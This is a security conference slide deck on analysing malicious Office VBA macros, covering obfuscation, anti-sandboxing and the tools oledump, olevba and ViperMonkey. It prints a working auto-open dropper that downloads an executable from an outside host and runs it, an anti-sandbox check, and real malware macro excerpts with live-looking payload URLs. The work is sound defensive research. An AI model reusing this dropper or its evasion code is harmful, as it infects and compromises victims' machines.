"Smoked mackerel-01" by Jodan - Own work. Licensed under CC BY-SA 3.0 via Wikimedia Commons - http://commons.wikimedia.org/wiki/File:Smoked_mackerel-01.jpg#/media/File:Smoked_mackerel-01.jpg

How to grill Malicious Macros

SSTIC 2015 – June 5

Philippe Lagadec – decalage.info - @decalage2

To grill
Verb : (transitive, colloquial) To interrogate; to question aggressively or harshly.

The police grilled him about his movements at the time of the crime.

(source : https://en.wiktionary.org/wiki/grill)

And in French, « macro » sounds like « mackerel ».

Disclaimer

The content of this presentation is personal work of its author. It does not represent any advice nor recommendation from his employer, and it does not constitute any official endorsement.

Au menu

- The return of the Macros
- Malicious Macros
- Obfuscation
- Anti-sandboxing
- File Formats
- Tools: oledump, olevba
- ViperMonkey
- Detection & Protection

A History of Macros

1995 : Concept	**Office 95** : WordBasic
1996 : Laroux **1999 : Melissa**	**Office 97** : asks Enable macros? Yes/No before opening
2003 : Lexar => exploits a Office 97-XP flaw, bypasses security	**Office 2000/XP/2003** : unsigned macros are disabled by default
2004-2013 : Macrovirus not fashionable anymore	**Office 2007** : Macros disabled by default, 2 clics to activate
2014-2015 : Dridex, Rovnix, Vawtrak, Fin4, ...	**Office 2010/2013** : Macros disabled by default, BUT single “Enable Content?” button… + Sandbox against exploits

What can a malicious macro do?

- **Trigger automatically** when the document opens, closes, etc.
- Detect if it runs inside a sandbox
- Read/Modify the document
- **Download files**
- **Create files** :
  - EXE, Script VBS, PowerShell, BAT
- **Execute a file**, or run a system command
- **Call a system DLL**
  - Inject shellcode into another process
- **Call any ActiveX object**
- Simulate keystrokes
- Etc

=> All this simply using native MS Office features available since 1997, no need for any exploit !

Sample VBA Dropper

```
Private Declare Function URLDownloadToFileA Lib "urlmon" _
(ByVal NRTMLM As Long, ByVal UUQCES As String,  _
ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long

Sub Workbook_Open()
    Auto_Open
End Sub

Sub Auto_Open()
    Dim riri As Long
    fifi = Environ("TEMP") & "\agent.exe"
    riri = URLDownloadToFileA(0, _
      "http://compromised.com/payload.exe", _
      fifi, 0, 0)
    loulou = Shell(fifi, 1)
End Sub
```

Uses the URLDownloadToFileA function from URLMON.dll

Runs when the document opens

Executable file created in %TEMP%

Downloads the payload from an Internet server

Runs the payload

Obfuscation

- **To hide important information:**
  - URLs where payload is downloaded from,
  - IP addresses of accessed servers,
  - Name of created files, etc.

- **Usual Techniques :**
  - Split and concatenate strings,
  - **Chr, ChrB, Chr$**, etc : convert ASCII codes into characters
  - **Asc** : inverse of Chr
  - **StrReverse** : string inversion
  - Strings encoded into **Base64, hexadecimal, xor**, etc
  - **Dead code** insertion
  - code spread over several modules
  - Random variable and function names
  - Strings stored outside of the macro code, for example inside the Word or Excel document text

Obfuscation

```
iKJINJdg = StrReverse(Chr$(115) & Chr$(98) _
& Chr$(118) & Chr$(46) & Chr$(115) _
& Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) _
& Chr$(105) & Chr$(119) & Chr$(92) & Chr$(37) _
& Chr$(80) & Chr$(77) & Chr$(69) & Chr$(84) & Chr$(37))

ds = 100
PST2 = "a" + "dobe" & "acd-u" & "pdate"
PST1 = PST2 + "." + Chr(Asc("p")) + Chr(ds + 15) + "1"
BART = Chr(Abs(46)) + Chr(Abs(98)) +
Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(ds + 16))) + ""
```

Anti-sandboxing

```
Private Declare Function GetVolumeInformation Lib "kernel32.dll" _
  Alias "GetVolumeInformationA" (...) As Long

Function IsAnubisPresent() As Boolean
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    If Not GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" _
    And Not WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" & _
        "\Windows NT\CurrentVersion\ProductId") _
        = "76487-337-8429955-22614" Then
        IsAnubisPresent = False
    Else
        IsAnubisPresent = True
    End If
End Function

Public Function GetSerialNumber(DriveLetter As String) As Long
    Buffer1 = String$(255, Chr$(0))
    Buffer2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), _
        SerialNum, 0, 0, Buffer2, Len(Buffer2))
    GetSerialNumber = SerialNum
End Function

Private Sub Document_Open()
    If IsAnubisPresent Then
        MsgBox ("Anubis Sandbox detected: do nothing")
    Else
        MsgBox ("No Anubis, let's run the malicious payload...")
    End If
End Sub
```

NOTE :
This is my own fixed version, the code « in the wild » is buggy...

MS Office File Formats with macros

Formats	Extensions	Macros	Container Format
Word, Excel, PowerPoint 97-2003	**.doc, .xls, .ppt, .pps**	**YES**	**OLE**
Word, Excel, PowerPoint 2007+ standard	.docx, .xlsx, .pptx, .ppsx	No	ZIP
Word, Excel, PowerPoint 2007+ macro-enabled	**.docm, .xlsm, .xlsb, .pptm, .ppsm**	**YES**	**ZIP**
Word 2003 XML	**.xml**	**YES**	**XML**
Excel 2003 XML	.xml	No	XML
Word/Excel MHTML « single file web page »	**.mht**	**YES**	**MHTML**

Tools

- OfficeMalScanner
- Officeparser
- Oledump
- Olevba
- ViperMonkey

oledump

- **http://blog.didierstevens.com/programs/oledump-py/**

- extract streams from MS Office documents
- Apply detection functions
- identify streams with macros
- decompress macro code
- various plugins including:
  - Summary of macro code
  - Extract URLs, deobfuscation

oledump - extraction

```
$ ./oledump.py ~/MalwareZoo/VBA/DIAN_caso-5415.doc
  1:       125 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     28579 '1Table'
  5:    457587 'Data'
  6:       367 'Macros/PROJECT'
  7:        41 'Macros/PROJECTwm'
  8: M    5221 'Macros/VBA/ThisDocument'
  9:      2775 'Macros/VBA/_VBA_PROJECT'
 10:      2196 'Macros/VBA/__SRP_0'
 11:       200 'Macros/VBA/__SRP_1'
 12:      1280 'Macros/VBA/__SRP_2'
 13:       356 'Macros/VBA/__SRP_3'
 14:       514 'Macros/VBA/dir'
 15:     14920 'WordDocument'

$ ./oledump.py ~/MalwareZoo/VBA/DIAN_caso-5415.doc -s 8 -v
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
[...]
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long, _
ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
ByVal HQTLDG As Long) As Long
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
SNVJYQ
End Sub
Public Sub SNVJYQ()
    OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe"
End Sub
[...]
```

oledump - plugins

```
$ ./oledump.py ~/MalwareZoo/VBA/DRIDEX_1.doc -p
plugin_vba_summary -q
[...]
Open
StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("736A6A746D
6973646666757875736F72747A766E676A656264737663696577")
) For Binary As #46976
End Function
Sub LEHSCRUYAOP()
'    RYLOPYULCVL
StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("6578652E31
2F736A2F6D6F632E737973766A2F2F3A70747468")),
Environ("TEMP") & "\\ZDDVXCJSDDG.exe"'
End Sub

$ ./oledump.py ~/MalwareZoo/VBA/DRIDEX_1.doc -p
plugin_http_heuristics.py -q
http://jvssys.com/js/1.exe
```

olevba

- **https://bitbucket.org/decalage/oletools/wiki/olevba**

- **Complete parsing** of the binary structure of VBA projects:
  - determine the location of compressed macros
  - Extract VBA project **meta-data** (modification date/time of the VBA project, used code page - for example 1251 for Cyrillic)
- **Source code extraction and analysis**
- Detection of **suspicious keywords** typically used in malware
- Detection of **auto-executable macros**
- **String deobfuscation** (Hex, Base64, StrReverse, Dridex, Hex+StrReverse, StrReverse+Hex, ...)
- Extraction of various **IOC indicators** (IP adresses, URLs, e-mail adresses, executable filenames)
  - In clear text or obfuscated
- **Triage mode** to analyze a collection files at once

olevba – extraction + analysis

```
$ ./olevba.py ~/MalwareZoo/VBA/DRIDEX_1.doc
[...]
Sub Auto_Open()
GoTo ibrsmldpiphvsvwtvyuuximekdmojyu
Dim ijxwelbngrcwemofxtwsdvvljohusij As String
Open StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("776A67666C61737A6F6A74676965676A7569646F6E6F626F6B67637670776A")) For
Binary As #8624
Put #8624, , ijxwelbngrcwemofxtwsdvvljohusij
Close #8624
[...]
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | Auto_Open            | Runs when the Excel Workbook is opened  |
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | StrReverse           | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| IOC        | ZDDVXCJSDDG.exe      | Executable file name                    |
| IOC        | http://jvssys.com/js | URL (obfuscation: Hex+StrReverse)       |
|            | /1.exe               |                                         |
| IOC        | 1.exe                | Executable file name (obfuscation:      |
|            |                      | Hex+StrReverse)                         |
+------------+----------------------+-----------------------------------------+
```

olevba – triage mode

```
$ olevba ~/MalwareZoo/VBA/samples/vba_samples.zip -z infected
Flags       Filename
----------- -----------------------------------------------------------
OLE:MASI--- DIAN_caso-5415.doc.malware
OLE:MASIH-- DRIDEX_1.doc.malware
OLE:MASIH-- DRIDEX_2.doc.malware
OLE:MASI--- DRIDEX_3.doc.malware
OLE:MASIH-- DRIDEX_4.doc.malware
OLE:MASIH-- DRIDEX_5.doc.malware
OLE:MASIH-- DRIDEX_6.doc.malware
OLE:MAS---- DRIDEX_7.doc.malware
OLE:MASIH-- DRIDEX_8.doc.malware
OLE:MASIHBD DRIDEX_9.xls.malware
OLE:MASIH-- DRIDEX_A.doc.malware
OLE:------- Iran's Oil and Nuclear Situation.doc.malware
OLE:------- Normal_Document.doc
OLE:M------ Normal_Document_Macro.doc
OpX:MASI--- RottenKitten.xlsb.malware
OLE:MASI-B- ROVNIX.doc.malware
OpX:------- taidoor.docx.malware
OLE:MA----- Word within Word macro auto.doc
XML:MAS---- word2003_sample1.xml.malware

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable,
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex
strings, ?=Unknown)
```

olevba – Python API

- How to integrate olevba into Python scripts:
- Doc :**https://bitbucket.org/decalage/oletools/wiki/olevba**

```
from oletools.olevba import VBA_Parser, VBA_Scanner
import sys

vba = VBA_Parser(sys.argv[1])
if vba.detect_vba_macros():
    print 'VBA Macros found'
    for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
        print '-'*79
        print 'Filename    :', filename
        print 'OLE stream  :', stream_path
        print 'VBA filename:', vba_filename
        print '- '*39
        print vba_code
        print '- '*39
        vba_scanner = VBA_Scanner(vba_code)
        results = vba_scanner.scan(include_decoded_strings=True)
        for kw_type, keyword, description in results:
            print 'type=%s - keyword=%s - description=%s' % (kw_type, keyword,
description)
else:
    print 'No VBA Macros found'
vba.close()
```

Services/Projects using olevba

- Hybrid-analysis.com
- Dridex.malwareconfig.com
- Viper
- Malware-crawler / Ragpicker
- Cuckoo-modified (fork of Cuckoo Sandbox)
- REMnux v6

- Maybe soon IRMA, REbus ? ;-)

ViperMonkey

- In practice: malware writers are very creative - impossible to deobfuscate every malware using specific code (oledump, olevba).
- Other approaches :
  - **Sandboxing / “Detonation”** (detectable)
  - **Convert VBA to VBS** => run cscript.exe (risky)
  - **Dedicated VBA Parser + symbolic execution => ViperMonkey**

ViperMonkey

- **Olevba alone**:
  1. Extract code
  2. Specific deobfuscation algorithms
  3. Detect suspicious strings
  4. Extract IOCs (regex)
- **ViperMonkey**:
  1. Extract code
  2. VBA Parser (pyparsing grammar)
  3. Code logic model
  4. Trace code execution, simulating the VBA engine
  5. Extract interesting actions and parameters
  6. Olevba analysis

ViperMonkey – hello world

```
c:\demo>vbatrace.py hello1.vba
Opening VBA file hello1.vba
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Attribute VB_Name = "Hello"

Sub AutoOpen()
    MsgBox (StrReverse(chr(asc("o")) & "lleH") + ", World" + ChrB$(33))
End Sub

-------------------------------------------------------------------------------
PARSING VBA CODE:
Module 'Hello'
  Sub AutoOpen (): 1 statement(s)

-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
Sub AutoOpen (): 1 statement(s)
Sub Call: MsgBox('Hello, World!')
```

ViperMonkey – deobfuscation

```
$ curl -s -o sample.vba http://pastebin.com/raw.php?i=iWmiG3Zg
$ python vba_expr.py sample.vba
+-------------------------------------+-------------------------------------+
| Obfuscated expression               | Evaluated value                     |
+-------------------------------------+-------------------------------------+
| 'adobeacd-update.' + 'p' + Chr(115) | 'adobeacd-update.ps1'               |
| + '1'                               |                                     |
| 'adobeacd-update' + '.' + Chr(98) + | 'adobeacd-update.bat'               |
| Chr(Asc(Chr(Asc('a')))) +           |                                     |
| Chr(Asc('t'))                       |                                     |
| 'adobeacd-update.' + Chr(118) + 'b' | 'adobeacd-update.vbs'               |
| + 's'                               |                                     |
| 'adobeacd-updatexp' + '.' + 'v' +   | 'adobeacd-updatexp.vbs'             |
| Chr(Asc('b')) + 's'                 |                                     |
| 'c:\\' + Chr(Asc('U')) + 'sers\\'   | 'c:\\Users\\'                       |
| 'c:\\' + Chr(Asc('U')) + 'sers\\'   | 'c:\\Users\\'                       |
| '\\App' + Chr(Asc('D')) +           | '\\AppData\\Local\\Temp\\'          |
| 'ata\\Local\\' + Chr(Asc('T')) +    |                                     |
| 'emp\\'                             |                                     |
```

ViperMonkey – Tracing and extraction of actions

```
--------------------------------------------------------------------------------
PARSING VBA CODE:
Module 'ThisDocument'
  Sub AutoOpen (): 1 statement(s)
  Sub SNVJYQ (): 1 statement(s)
  Sub Workbook_Open (): 1 statement(s)
  Sub Auto_Open (): 1 statement(s)
  Function OGEXYR ([XSTAHU as String, PHHWIV as String]): 9 statement(s)
  External Function URLDownloadToFileA ([FVQGKS as Long, WSGSGY as String, IFRRF
V as String, NCVOLV as Long, HQTLDG as Long]) from urlmon.dll alias

--------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
Recorded Actions:
+-----------------+---------------------------+---------------------------+
| Action          | Parameters                | Description               |
+-----------------+---------------------------+---------------------------+
| Download URL    | http://germanya.com.ec/lo | External Function:        |
|                 | gs/test.exe               | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Write File      | %TMP%\sfjozjero.exe       | External Function:        |
|                 |                           | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Execute Command | %TMP%\sfjozjero.exe       | Shell function            |
| Display Message | 'El contenido de este     | MsgBox                    |
|                 | documento no es           |                           |
|                 | compatible con este       |                           |
|                 | equipo.\r\n\r\nPor favor  |                           |
|                 | intente desde otro        |                           |
|                 | equipo.'                  |                           |
| Download URL    | http://germanya.com.ec/lo | External Function:        |
|                 | gs/counter.php            | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Write File      | %TMP%\lkjljlljk           | External Function:        |
|                 |                           | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
+-----------------+---------------------------+---------------------------+
```

ViperMonkey – what next

- Minimal implementation of the VBA/Office API used by malware (work in progress)
- Often used DLLs and ActiveX
- Integration with olevba
- IOCs extraction
- Python API for integration and extensions
- Adaptations for VBScript malware

Detection & Protection

- **Olevba-style Detection of suspicious keywords:**
  - **Simple but very effective!**
  - **Most malicious macros are easily detectable.**
- Preventive cleaning of all incoming files (see SSTIC04, SSTIC06, CSW08)
- MS Office could detect macros using potentially dangerous features
  - Like Adobe Reader's JavaScript API

Useful links

- **Articles :**
  - « Macros – Le retour de la revanche » in MISC magazine 79 (May-June 2015)
  - « Tools to extract VBA Macro source code from MS Office Documents »
- **Oletools : olevba, ViperMonkey**
  - http://www.decalage.info/python/oletools
  - https://bitbucket.org/decalage/oletools/wiki/olevba
  - https://twitter.com/decalage2
- **Oledump :**
  - http://blog.didierstevens.com/programs/oledump-py/
  - https://bitbucket.org/decalage/oledump-contrib
- **Microsoft specifications :**
  - MS-VBAL, MS-OVBA